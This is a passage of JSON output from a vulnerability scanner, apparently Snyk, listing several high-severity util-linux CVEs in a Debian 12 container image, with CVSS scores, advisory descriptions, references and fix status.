"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
